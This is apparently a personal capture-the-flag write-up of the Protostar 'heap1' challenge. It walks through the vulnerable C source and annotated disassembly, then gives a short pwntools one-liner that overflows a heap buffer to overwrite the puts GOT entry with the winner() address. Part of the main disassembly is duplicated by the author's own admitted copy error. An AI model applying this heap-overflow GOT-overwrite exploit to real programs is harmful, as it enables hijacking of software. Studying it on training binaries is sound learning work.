Protostar Heap 1

heap1

rev.asm

here we have the source code for the challenge:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner() {
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv) {
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

lets walk through this and break it down we have a structure called internet, this contains an int of priority and a string name we have our winner function next, this is what we want to direct program execution to then in our main function, we create 3 objects from our struct internet, i1, i2, and i3

then i1 will point to the allocated sizeof(struct internet), which is disassembly is equal to 8 i1 priority is equals to one, and the name variable will point to the allocated chunk on the heap each malloc in this script will allocate 8 bytes

the same happens for i2, it allocates 8 bytes on the heap, it's priority is set to 2, then sets the name variable to the dynamically allocated memory on the heap

we have initialized an i3 object, though it isnt used anywhere, i wonder if we will be using it for anything or just some pointless addition to this challenge

it will then strcpy argv 1 and 2 into i1->name and i2->name, this means we have a buffer overflow or, heap overflow? we have a heap overflow vulnerability, since we allocated 8 bytes on malloc, which name points to, then we do not sanitize user input, so we can input as many bytes as we want

the problem with this, is that nothing is being executed anymore, we have no way to call winner even if we were to overwrite some variable in the struct

if we were to find the offset to where the program gives us a segmentation fault, that would be 20, im not exactly sure what this is overwriting, but the buffer on the heap is 8, which means we overwrote 12 bytes of something, then overwrote something important

lets a little road trip in to how strcpy works, since i assume that is where our vulnerability lies, our catalyst for success

lets take the following script for example:

#include <string.h>
int main(int argc, char**argv) {
    char buffer[20];
    strcpy(buffer, argv[1]);
    return 0;
}

the buffer size does not matter, the only thing we want here is to see how strcpy is implemented, since if we are able to control the source, and destination of strcpy, then we are able to write whatever we want, wherever we want.

lets check out the disassembly:

┌ 83: int main (int argc, char **argv);
│           0x00001149      55             push rbp
│           0x0000114a      4889e5         mov rbp, rsp
│           0x0000114d      4883ec30       sub rsp, 0x30
│           0x00001151      897ddc         mov dword [var_24h], edi    ; argc
│           0x00001154      488975d0       mov qword [src], rsi        ; argv
│           0x00001158      64488b042528.  mov rax, qword fs:[0x28]
│           0x00001161      488945f8       mov qword [canary], rax
│           0x00001165      31c0           xor eax, eax
│           0x00001167      488b45d0       mov rax, qword [src]
│           0x0000116b      4883c008       add rax, 8
│           0x0000116f      488b10         mov rdx, qword [rax]
│           0x00001172      488d45e0       lea rax, [dest]
│           0x00001176      4889d6         mov rsi, rdx                ; const char *src
│           0x00001179      4889c7         mov rdi, rax                ; char dest
│           0x0000117c      e8affeffff     call sym.imp.strcpy
│           0x00001181      b800000000     mov eax, 0
│           0x00001186      488b4df8       mov rcx, qword [canary]
│           0x0000118a      64482b0c2528.  sub rcx, qword fs:[0x28]
│       ┌─< 0x00001193      7405           je 0x119a
│       │   0x00001195      e8a6feffff     call sym.imp.__stack_chk_fail
│       │   ; CODE XREF from main @ 0x1193
│       └─> 0x0000119a      c9             leave
â””           0x0000119b      c3             ret
            0x0000119c      0f1f4000       nop dword [rax]

now as we know from the source code, this script will allocate a buffer for the input, then call strcpy with the src parameter as argv, and the dest parameter of our char buffer lets walk through one by one

push   rbp                          ; init stack frame
mov    rbp,rsp                      ;
sub    rsp,0x30                     ; allocate space on stack
mov    DWORD PTR [rbp-0x24],edi     ; argc
mov    QWORD PTR [rbp-0x30],rsi     ; argv
mov    rax,QWORD PTR fs:0x28        ; mov the value of the stack canary into rax
mov    QWORD PTR [rbp-0x8],rax      ; write the canary to the stack at offset rbp-8
xor    eax,eax                      ; clear eax
mov    rax,QWORD PTR [rbp-0x30]     ; mov the address of argv[0] into rax
add    rax,0x8                      ; add rax by 8, now it is pointing to argv[1]
mov    rdx,QWORD PTR [rax]          ; mov the value in rax(argv[1]), into rdx
lea    rax,[rbp-0x20]               ; load the address of our buffer, destination of the strcpy
mov    rsi,rdx                      ; source, this holds the address of argv[1]
mov    rdi,rax                      ; destination, rax held the address of "char buffer[20]"
call   1030 <strcpy@plt>            ; call strcpy with parameters provided
mov    eax,0x0                      ; mov eax to 0, return value of the program
mov    rcx,QWORD PTR [rbp-0x8]      ; mov the value of the canary on the stack back into rcx to check
sub    rcx,QWORD PTR fs:0x28        ; check if zero, if zero flag set, by sub, will jump back to main
je     119a <main+0x51>             ; here will jump back to main
call   1040 <__stack_chk_fail@plt>  ; else, will call stack check failed(stack canary), and term
leave                               ; deallocate
ret                                 ; pop rip back to ret address

i hope i did this correctly, i sort of fumbled my way through this
now lets disassemble the ACTUAL binary we are attempting to exploit, since we now know how strcpy
works at its lowest level

lets disassemble main of heap1 now:

080484b9 <main>:
 80484b9:       55                      push   ebp
 80484ba:       89 e5                   mov    ebp,esp
 80484bc:       83 e4 f0                and    esp,0xfffffff0
 80484bf:       83 ec 20                sub    esp,0x20
 80484c2:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 80484c9:       e8 ee fe ff ff          call   80483bc <malloc@plt>
 80484ce:       89 44 24 14             mov    DWORD PTR [esp+0x14],eax
 80484d2:       8b 44 24 14             mov    eax,DWORD PTR [esp+0x14]
 80484d6:       c7 00 01 00 00 00       mov    DWORD PTR [eax],0x1
 80484dc:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 80484e3:       e8 d4 fe ff ff          call   80483bc <malloc@plt>
 80484e8:       89 c2                   mov    edx,eax
 80484ea:       8b 44 24 14             mov    eax,DWORD PTR [esp+0x14]
 80484ee:       89 50 04                mov    DWORD PTR [eax+0x4],edx
 80484f1:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 80484f8:       e8 bf fe ff ff          call   80483bc <malloc@plt>
 80484fd:       89 44 24 18             mov    DWORD PTR [esp+0x18],eax
 8048501:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 8048505:       c7 00 02 00 00 00       mov    DWORD PTR [eax],0x2
 804850b:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 8048512:       e8 a5 fe ff ff          call   80483bc <malloc@plt>
 8048517:       89 c2                   mov    edx,eax
 8048519:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 804851d:       89 50 04                mov    DWORD PTR [eax+0x4],edx
 80484ea:       8b 44 24 14             mov    eax,DWORD PTR [esp+0x14]
 80484ee:       89 50 04                mov    DWORD PTR [eax+0x4],edx
 80484f1:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 80484f8:       e8 bf fe ff ff          call   80483bc <malloc@plt>
 80484fd:       89 44 24 18             mov    DWORD PTR [esp+0x18],eax
 8048501:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 8048505:       c7 00 02 00 00 00       mov    DWORD PTR [eax],0x2
 804850b:       c7 04 24 08 00 00 00    mov    DWORD PTR [esp],0x8
 8048512:       e8 a5 fe ff ff          call   80483bc <malloc@plt>
 8048517:       89 c2                   mov    edx,eax
 8048519:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 804851d:       89 50 04                mov    DWORD PTR [eax+0x4],edx
 8048520:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 8048523:       83 c0 04                add    eax,0x4
 8048526:       8b 00                   mov    eax,DWORD PTR [eax]
 8048528:       89 c2                   mov    edx,eax
 804852a:       8b 44 24 14             mov    eax,DWORD PTR [esp+0x14]
 804852e:       8b 40 04                mov    eax,DWORD PTR [eax+0x4]
 8048531:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048535:       89 04 24                mov    DWORD PTR [esp],eax
 8048538:       e8 4f fe ff ff          call   804838c <strcpy@plt>
 804853d:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 8048540:       83 c0 08                add    eax,0x8
 8048543:       8b 00                   mov    eax,DWORD PTR [eax]
 8048545:       89 c2                   mov    edx,eax
 8048547:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 804854b:       8b 40 04                mov    eax,DWORD PTR [eax+0x4]
 804854e:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048552:       89 04 24                mov    DWORD PTR [esp],eax
 8048555:       e8 32 fe ff ff          call   804838c <strcpy@plt>
 804855a:       c7 04 24 4b 86 04 08    mov    DWORD PTR [esp],0x804864b
 8048561:       e8 66 fe ff ff          call   80483cc <puts@plt>
 8048566:       c9                      leave
 8048567:       c3                      ret

this is a pretty hefty fella we got here, but it would be a good exercise to break this down, so i will try my best, if there are some things i am not sure about, i will most certainly ask questions within my comments here goes :/

push   ebp                         ; this seems to be an x86 binary, hehe nice
mov    ebp,esp                     ; establish stack frame
and    esp,0xfffffff0              ; round the stack pointer
sub    esp,0x20                    ; allocate space
mov    DWORD PTR [esp],0x8         ; mov the value 8 into the address of stack pointer??

call   80483bc <malloc@plt>        ; ok, now malloc is called, so i have a few questions here
                                   ; does malloc take esp as a parameter?
   ; i know we are allocing 8 bytes on the heap, so this is the only sensible conclusion i have for this
   ; im also wondering about that, maybe malloc takes parameters on the stack in x86 as well?
   ; because we are moving it to the ADDRESS of esp right?, which points to the top of the stack
   ; which means that is the same thing as push, just gcc optimizing it right?
   ; its just a theory, but it was the only logical one i could come up with in my head

mov    DWORD PTR [esp+0x14],eax    ; pointer to address on heap returned through eax
mov    eax,DWORD PTR [esp+0x14]    ; store it as a variable on the stack

                                   ; this is very interesting i think i have a plausible theory
mov    DWORD PTR [eax],0x1         ; this is changing the value of priority "i1->priority=1"
                       ; i believe this is it, due to the fact that we had allocated
                       ; the struct on the heap, "i1 = malloc(sizeof(struct internet));"
                       ; which is what eax points to, eax points to the allocated struct on the heap
                       ; and the first entry on that struct is priority, which is exactly it.
                       ; another theory, im just lobbing these and hoping they land

mov    DWORD PTR [esp],0x8         ; mov 8 back onto the top of the stack
call   80483bc <malloc@plt>        ; calls malloc for name parameter
                                   ; "i1->name = malloc(8);"
                 ; i got a little confused at this part, until remembered that there is a nested malloc
                 ; now eax = i1->name = malloc(8);
                 ; [esp+0x14] = i1 = malloc(sizeof(struct internet)); ; size_t = 8

mov    edx,eax                     ; edx now contains pointer to nested allocated space on the heap
mov    eax,DWORD PTR [esp+0x14]    ; store pointer to heap on another local variable
mov    DWORD PTR [eax+0x4],edx     ; eax [eax+0x4] = i->name
mov    DWORD PTR [esp],0x8         ; push 8 on the top of the stack again
call   80483bc <malloc@plt>        ; call another malloc, this time i am assuming it is for i2

mov    DWORD PTR [esp+0x18],eax    ; eax is the pointer to address on heap, [esp+0x18] = malloc(8);
mov    eax,DWORD PTR [esp+0x18]    ; eax = *i2
mov    DWORD PTR [eax],0x2         ; i2->priority = 2 ; eax points towards the first entry in the struct
mov    DWORD PTR [esp],0x8         ; mov 8 into the top of the stack again to prepare for another malloc
call   80483bc <malloc@plt>        ; malloc, pointer returned through eax
mov    edx,eax                     ; edx = i2->name = malloc(8)
mov    eax,DWORD PTR [esp+0x18]    ; *i2 = eax ; pointer to i2 moved into eax
mov    DWORD PTR [eax+0x4],edx     ; mov pointer to allocated memory on heap into name
                                   ; we move up by 4, which is the name variable
                                   ; i2->name = *malloc(8);

; now this one is peculiar, there are 2 more mallocs, and i have checked the source for this area
; there should not be any more mallocs, we have finished initializing internet1 and 2, the only
; functions left are strcpy() and printf, so our best bet is to research into strcpy
; here are the full lines for strcpy:
;
; strcpy(i1->name, argv[1]);
; strcpy(i2->name, argv[2]);
;
; now from what we had just researched, strcpy inherintly does not utilize any heap operations
; what about i1->name? arent we accessing members on the heap?
; i dont think so either, we already have pointers to the heap address stored on the stack
; there would be no reason to malloc 16 more separate bytes on the heap?
;
; wait im stupid i copied too much mallocs, that is a mistake on my end
; ok whatever im just going to keep those notes since they explain the next part well
; sorry for the confusing, i had copied too many mallocs, that scared me for a bit
; please dont allow the rambling to confuse you, everything i have said in this particular area is
; null and void :)

; ok lets continue to the strcpy
mov    eax,DWORD PTR [ebp+0xc]     ; move the pointer to argv into eax
add    eax,0x4                     ; move the pointer from argv[0] to argv[1]
mov    eax,DWORD PTR [eax]         ; mov the dereference pointer of argv[1] into eax
mov    edx,eax                     ; move the pointer into edx, probably as an src parameter for strcpy
mov    eax,DWORD PTR [esp+0x14]    ; mov the pointer to i1 into eax
mov    eax,DWORD PTR [eax+0x4]     ; change the pointer from i1->priority to i1->name
mov    DWORD PTR [esp+0x4],edx     ; [esp+0x4] points to i1->name, which was allocated on a separate
                                   ; area on the heap
                                   ; edx points to argv[1], which means that it is changing i1->name
                                   ; into a pointer to argv[1], which makes sense kind of
; i had personally thought that we would provide these parameters as registers, but i guess
; thats not the case, at least in my eyes, feel free to point out anything that went wrong
; during this explanation process if im blabbering nonsense

mov    DWORD PTR [esp],eax         ; mov eax to the top of the stack, eax points to il->name
call   804838c <strcpy@plt>        ; then call strcpy, src and dest provided, argv[1] and i1->name
mov    eax,DWORD PTR [ebp+0xc]     ; mov eax to point to argv[0] again
add    eax,0x8                     ; change pointer from argv[0] to argv[2]
mov    eax,DWORD PTR [eax]         ; mov eax into the dereference pointer to eax
                                   ; which should be the value of argv[2]
mov    edx,eax                     ; mov dereference pointer to argv[2] into edx
mov    eax,DWORD PTR [esp+0x18]    ; mov pointer to i2 into eax
mov    eax,DWORD PTR [eax+0x4]     ; mov dereference pointer of i2 into eax
                                   ; eax = i2->name ; eax+0x4 serves to access name, not priority

mov    DWORD PTR [esp+0x4],edx     ; edx = *argv[2] ; we are moving pointer to argv[2] into i2->name
mov    DWORD PTR [esp],eax         ; then we move the address of i2->name to the top of the stack
call   804838c <strcpy@plt>        ; then we call strcpy, copies everything from argv[2] into i2->name
mov    DWORD PTR [esp],0x804864b   ; moves address of string into [esp], TOP OF THE STACK
call   80483cc <puts@plt>          ; then we call puts(this should be printf, but optimized by gcc)
leave                              ; deallocate
ret                                ; return from procedure ; pop eip into ret addr

holy shit that took a long time, learned lots though i had no idea that strcpy worked like that welp, the more you know amiright :)

now that we have disassembled and understand each and every single instruction, we can begin to find ways to exploit this.

so the vulnerability that we have on our hands is "write what where", or an arbitrary write this is practically the same thing as exploiting a format string vulnerability. we could overwrite the GOT entry of puts into whatever we want, since GOT resides within .data which is read and writeable.

now that we have our vulnerability, we can begin to craft our simple exploit, fundementally doing the same as an fsb %n write exploit, i like this challenge due to them demonstrating that fsb's are not the only way to exploit the GOT/plt.

Since they are absolutely not practical and pretty much never seen anywhere anymore in software, its nice to see that this cool technique of GOT table overwrite has not gone to waste :)

lets get on with the challenge shall we?

i have a little explanation on what the Global Offset Table, and the Procedure Linkage Table are as well as the differences between dynamic and static linking here:

https://github.com/0xmanjoos/Exploit-Development/tree/main/fmt_bug/GOT-PLT

it does not explain how to overwrite the GOT, but i plan to write a post detailing that soon probably uwu

lets start this binary up in gdb and find the address of our GOT entry looking throught the main function, we see our puts entry inside the plt

0x08048561 <+168>:   call   0x80483cc <puts@plt>

lets disas the plt entry:

gef➤  disas 0x80483cc
Dump of assembler code for function puts@plt:
   0x080483cc <+0>:     jmp    DWORD PTR ds:0x8049774
   0x080483d2 <+6>:     push   0x30
   0x080483d7 <+11>:    jmp    0x804835c
End of assembler dump.

when called, plt will jump to the address of the puts GOT entry that is where GOT will be storing the address of puts within libc this will be where we want to write to, the GOT entry

we had discussed earlier that our offset would be 20 before we overwrote something important lets test this out:

./heap1 $(python2 -c 'from pwn import *; print"A"*20+p32(0x8049774)+"AAAA"')

here is our exploit for now, our offset will be 20 until we can overwrite our GOT entry lets check this out in a debugger, we can check the register values there

nice, our eip instruction register has been overwritten with 41414141, we have hijacked program execution, now all we have to do is swap "AAAA" with the address of winner.

I used pwntools since im lazy, but manually doing it will work as well

here is the final exploit:

./heap1 $(python2 -c 'from pwn import *; print"A"*20+p32(0x8049774)+" "+p32(0x08048494)')
and we have a winner @ 1616974343

thanks for reading, i learned lots from this challenge :D

Last updated